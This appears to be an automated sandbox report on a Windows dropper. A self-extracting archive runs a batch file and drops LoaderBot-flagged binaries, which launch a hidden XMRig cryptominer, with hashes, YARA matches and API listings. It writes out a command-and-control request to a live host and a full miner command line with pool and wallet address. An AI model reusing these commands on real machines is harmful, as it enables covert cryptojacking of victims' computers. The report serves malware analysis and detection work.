2024-06-23 09:35:08 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:35:09 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:35:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=a4fc576e599799f80ac617ecf9f7c91f; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:35:09 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Target ID:	0
Start time:	05:31:01
Start date:	23/06/2024
Path:	C:\Users\user\Desktop\h2UFp4aCRq.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\h2UFp4aCRq.exe"
Imagebase:	0x7ff655920000
File size:	5'061'451 bytes
MD5 hash:	1FECBC51B5620E578C48A12EBEB19BC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:31:02
Start date:	23/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "
Imagebase:	0x7ff7af880000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:31:02
Start date:	23/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:31:02
Start date:	23/06/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe
Wow64 process (32bit):	false
Commandline:	rolex.exe -priverdD
Imagebase:	0x7ff7ab490000
File size:	4'605'877 bytes
MD5 hash:	8866D677A3309A0AD903F37557C5941B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LoaderBot, Description: Yara detected LoaderBot, Source: 00000003.00000003.1726307942.000001FEAC072000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 8%, ReversingLabs Detection: 14%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:31:03
Start date:	23/06/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe"
Imagebase:	0x690000
File size:	4'157'440 bytes
MD5 hash:	BD2413C32E34D0031F7881D51AE731FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LoaderBot, Description: Yara detected LoaderBot, Source: 00000004.00000000.1730928897.0000000000692000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_LoaderBot, Description: Yara detected LoaderBot, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe, Author: Joe Security Rule: MALWARE_Win_CoinMiner04, Description: Detects coinmining malware, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 67%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:31:10
Start date:	23/06/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Imagebase:	0x140000000
File size:	4'141'064 bytes
MD5 hash:	02569A7A91A71133D4A1023BF32AA6F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000005.00000002.1804831542.00000000004A6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp, Author: unknown
Antivirus matches:	Detection: 61%, ReversingLabs Detection: 68%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:31:10
Start date:	23/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:31:10
Start date:	23/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:31:10
Start date:	23/06/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 436 -p 7280 -ip 7280
Imagebase:	0x7ff6563e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:31:10
Start date:	23/06/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7280 -s 764
Imagebase:	0x7ff6563e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:31:11
Start date:	23/06/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Imagebase:	0x140000000
File size:	4'141'064 bytes
MD5 hash:	02569A7A91A71133D4A1023BF32AA6F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.2583502346.00000000005E2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:31:11
Start date:	23/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:31:15
Start date:	23/06/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe"
Imagebase:	0x180000
File size:	4'157'440 bytes
MD5 hash:	BD2413C32E34D0031F7881D51AE731FF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:31:26
Start date:	23/06/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe"
Imagebase:	0x9f0000
File size:	4'157'440 bytes
MD5 hash:	BD2413C32E34D0031F7881D51AE731FF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:31:37
Start date:	23/06/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe"
Imagebase:	0x240000
File size:	4'157'440 bytes
MD5 hash:	BD2413C32E34D0031F7881D51AE731FF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	05:32:28
Start date:	23/06/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 208 -p 7440 -ip 7440
Imagebase:	0x7ff768d90000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:32:28
Start date:	23/06/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7440 -s 552
Imagebase:	0x7ff768d90000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:32:30
Start date:	23/06/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Imagebase:	0x140000000
File size:	4'141'064 bytes
MD5 hash:	02569A7A91A71133D4A1023BF32AA6F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000015.00000002.3029846124.0000000000656000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000015.00000002.3029846124.00000000005D2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:32:30
Start date:	23/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:33:12
Start date:	23/06/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 548 -p 7424 -ip 7424
Imagebase:	0x7ff768d90000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:33:13
Start date:	23/06/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7424 -s 876
Imagebase:	0x7ff768d90000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:33:15
Start date:	23/06/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Imagebase:	0x140000000
File size:	4'141'064 bytes
MD5 hash:	02569A7A91A71133D4A1023BF32AA6F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000019.00000002.3336155249.0000000000611000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:33:15
Start date:	23/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:33:43
Start date:	23/06/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 508 -p 1712 -ip 1712
Imagebase:	0x7ff768d90000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:33:43
Start date:	23/06/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 1712 -s 864
Imagebase:	0x7ff768d90000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:33:46
Start date:	23/06/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Imagebase:	0x140000000
File size:	4'141'064 bytes
MD5 hash:	02569A7A91A71133D4A1023BF32AA6F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000003.3496111858.0000000000515000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000003.3609636273.0000000000515000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000003.3763661932.0000000000515000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.4173054764.0000000000515000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.4172854345.0000000000491000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	05:33:46
Start date:	23/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	26

Executed Functions

Function 00007FF65594B190 Relevance: 125.7, APIs: 61, Strings: 10, Instructions: 1421windowfilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65592255C: GetDlgItem.USER32 ref: 00007FF6559225AC
Part of subcall function 00007FF65592255C: SetDlgItemTextW.USER32 ref: 00007FF6559225C8

EndDialog.USER32 ref: 00007FF65594B2D0
SetDlgItemTextW.USER32 ref: 00007FF65594B320
GetMessageW.USER32 ref: 00007FF65594B350
IsDialogMessageW.USER32 ref: 00007FF65594B369
TranslateMessage.USER32 ref: 00007FF65594B37B
DispatchMessageW.USER32 ref: 00007FF65594B389
EndDialog.USER32 ref: 00007FF65594B3D3
GetDlgItem.USER32 ref: 00007FF65594B410
IsDlgButtonChecked.USER32 ref: 00007FF65594B431
IsDlgButtonChecked.USER32 ref: 00007FF65594B449
SetFocus.USER32 ref: 00007FF65594B452
GetLastError.KERNEL32 ref: 00007FF65594B634
GetLastError.KERNEL32 ref: 00007FF65594B665
GetTickCount.KERNEL32 ref: 00007FF65594B68B
GetLastError.KERNEL32 ref: 00007FF65594B6F5
GetCommandLineW.KERNEL32 ref: 00007FF65594B841
CreateFileMappingW.KERNEL32 ref: 00007FF65594B900
MapViewOfFile.KERNEL32 ref: 00007FF65594B923
ShellExecuteExW.SHELL32 ref: 00007FF65594B95B
Sleep.KERNEL32 ref: 00007FF65594B9B6
UnmapViewOfFile.KERNEL32 ref: 00007FF65594B9DF
CloseHandle.KERNEL32 ref: 00007FF65594B9E8
SetDlgItemTextW.USER32 ref: 00007FF65594BCDE
DialogBoxParamW.USER32 ref: 00007FF65594C0D7
EndDialog.USER32 ref: 00007FF65594C0EF
EnableWindow.USER32 ref: 00007FF65594C2A6
IsDlgButtonChecked.USER32 ref: 00007FF65594C2F8
WaitForInputIdle.USER32 ref: 00007FF65594B9A3

Part of subcall function 00007FF65593AAE0: LoadStringW.USER32 ref: 00007FF65593AB67
Part of subcall function 00007FF65593AAE0: LoadStringW.USER32 ref: 00007FF65593AB80

IsDlgButtonChecked.USER32 ref: 00007FF65594BEC3
SendDlgItemMessageW.USER32 ref: 00007FF65594BEEA
GetDlgItem.USER32 ref: 00007FF65594BEF8
IsDlgButtonChecked.USER32 ref: 00007FF65594BF12
GetDlgItem.USER32 ref: 00007FF65594BF4F
SetDlgItemTextW.USER32 ref: 00007FF65594BFEC
SetDlgItemTextW.USER32 ref: 00007FF65594C004
SetDlgItemTextW.USER32 ref: 00007FF65594C321
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594C363
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594C369
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594C36F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594C375
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594C37B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594C381
SendDlgItemMessageW.USER32 ref: 00007FF65594C449
EndDialog.USER32 ref: 00007FF65594C463
GetDlgItem.USER32 ref: 00007FF65594C491
SetFocus.USER32 ref: 00007FF65594C49A
SendDlgItemMessageW.USER32 ref: 00007FF65594C53E
FindFirstFileW.KERNEL32 ref: 00007FF65594C562
FindClose.KERNEL32 ref: 00007FF65594C68A
SendDlgItemMessageW.USER32 ref: 00007FF65594C7AF

Part of subcall function 00007FF65592129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF655921396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594CAA9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594CAAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594CAB5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594CABB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594CAC1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594CAC7

Strings

STARTDLG, xrefs: 00007FF65594B1CA
LICENSEDLG, xrefs: 00007FF65594C0C9
__tmp_rar_sfx_access_check_, xrefs: 00007FF65594B6A9
%s %s, xrefs: 00007FF65594C6D9, 00007FF65594C946
REPLACEFILEDLG, xrefs: 00007FF65594C3D3
-el -s2 "-d%s" "-sp%s", xrefs: 00007FF65594B799
runas, xrefs: 00007FF65594B7C9
winrarsfxmappingfile.tmp, xrefs: 00007FF65594B8E0
@, xrefs: 00007FF65594B7B6
p, xrefs: 00007FF65594B7AB

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Item$_invalid_parameter_noinfo_noreturn$Message$DialogText$ButtonChecked$FileSend$ErrorLast$CloseFindFocusLoadStringView$CommandConcurrency::cancel_current_taskCountCreateDispatchEnableExecuteFirstHandleIdleInputLineMappingParamShellSleepTickTranslateUnmapWaitWindow
String ID: %s %s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$REPLACEFILEDLG$STARTDLG$__tmp_rar_sfx_access_check_$p$runas$winrarsfxmappingfile.tmp
API String ID: 2128803032-2702805183
Opcode ID: 01a438109652fbf301756464df9dbc0de690b25f660d933aded9320d3491b7ef
Instruction ID: e8838d2247371789dbe572081310e4de0992055d66bdcd6e5645889b015dcecf
Opcode Fuzzy Hash: 01a438109652fbf301756464df9dbc0de690b25f660d933aded9320d3491b7ef
Instruction Fuzzy Hash: 7AD2E36AA087C285EA20DB25E8582F96351FF85F88F484135D99DB7AA7DF3CED44C340

Function 00007FF65594CE88 Relevance: 66.7, APIs: 27, Strings: 10, Instructions: 1963fileCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF65594D5F3
IsDlgButtonChecked.USER32 ref: 00007FF65594D626
IsDlgButtonChecked.USER32 ref: 00007FF65594D655
SHFileOperationW.SHELL32 ref: 00007FF65594D9BB
MoveFileW.KERNEL32 ref: 00007FF65594DB4B
MoveFileExW.KERNEL32 ref: 00007FF65594DB69
GetTempPathW.KERNEL32 ref: 00007FF65594DC49

Part of subcall function 00007FF655921FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655921FFB

EndDialog.USER32 ref: 00007FF65594DFCA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65594EEE3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EEEF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF07
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF0D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF13
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF19
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF1F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF25
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF2B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF31
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF37
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF3D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF43
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF49
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF4F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF55
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594EF5B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65594EF67
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65594EF73

Strings

ProgramFilesDir, xrefs: 00007FF65594D4F0
MIN, xrefs: 00007FF65594EAE5, 00007FF65594EAF4
HIDE, xrefs: 00007FF65594E9E5, 00007FF65594E9F4
MAX, xrefs: 00007FF65594EA82, 00007FF65594EA91
.lnk, xrefs: 00007FF65594E406, 00007FF65594E415
Software\Microsoft\Windows\CurrentVersion, xrefs: 00007FF65594D501
.tmp, xrefs: 00007FF65594DA85
lnk, xrefs: 00007FF65594E3CA, 00007FF65594E3D9
@set:user, xrefs: 00007FF65594DD96, 00007FF65594DDA5
<br>, xrefs: 00007FF65594D6DA, 00007FF65594D6E9

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskFile$ButtonCheckedMove$DialogItemOperationPathTemp
String ID: .lnk$.tmp$<br>$@set:user$HIDE$MAX$MIN$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$lnk
API String ID: 2285161090-3916287355
Opcode ID: fd2ad00ce84fbf863eb190845ef4c9fcac58144421a2a3ec869aeac6c2c057d6
Instruction ID: 60a1e457e14ddaa2821364ad4f4c89bffaafff329958c412912147cbb828a03e
Opcode Fuzzy Hash: fd2ad00ce84fbf863eb190845ef4c9fcac58144421a2a3ec869aeac6c2c057d6
Instruction Fuzzy Hash: C3139F6AA04BC2C5EB10DF64D8482EC27A1FB44B9CF580535DA6DA7A9ADF3CDD94C340

Function 00007FF655950754 Relevance: 45.9, APIs: 21, Strings: 5, Instructions: 380
filetimewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65593DFD0: GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E018
Part of subcall function 00007FF65593DFD0: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E030
Part of subcall function 00007FF65593DFD0: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF65593E05D

Part of subcall function 00007FF6559362DC: GetCurrentDirectoryW.KERNEL32 ref: 00007FF6559362F2
Part of subcall function 00007FF6559362DC: GetCurrentDirectoryW.KERNEL32 ref: 00007FF65593632C

Part of subcall function 00007FF65594946C: OleInitialize.OLE32 ref: 00007FF655949486
Part of subcall function 00007FF65594946C: SHGetMalloc.SHELL32 ref: 00007FF6559494D4

GetCommandLineW.KERNEL32 ref: 00007FF65595096E
OpenFileMappingW.KERNEL32 ref: 00007FF655950A07
